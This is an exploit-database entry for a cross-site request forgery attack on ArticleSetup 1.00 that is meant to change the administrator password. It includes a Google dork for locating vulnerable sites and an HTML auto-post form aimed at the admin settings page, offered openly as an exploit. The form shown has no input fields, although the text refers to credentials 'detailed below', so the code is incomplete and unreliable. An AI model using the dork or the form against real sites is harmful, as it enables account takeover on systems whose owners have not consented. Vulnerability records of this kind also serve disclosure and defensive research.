发布 2016-06-06 漏洞条目

ArticleSetup 1.00 – Cross-Site Request Forgery (Change Admin Password)

Exploit Source

<!--

# Exploit Title : ArticleSetup 1.00 - CSRF Change Admin Password

# Google Dork : inurl:/article.php?id= intext:Powered By Article Marketing

# Date: 2016/06/04

# Exploit Author: Ali Ghanbari

# Vendor Homepage: http://articlesetup.com/

# Software Link: http://www.ArticleSetup.com/downloads/ArticleSetup-Latest.zip

# Version: 1.00

#Desc:

When admin click on malicious link , attacker can login as a new

Administrator

with the credentials detailed below.

#Exploit:

-->

<html>

<body>

<form method="post" action="

http://localhost/{PACH}/admin/adminsettings.php">

</form>

</body>

</html>

<!--

####################################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007

-->

相关漏洞条目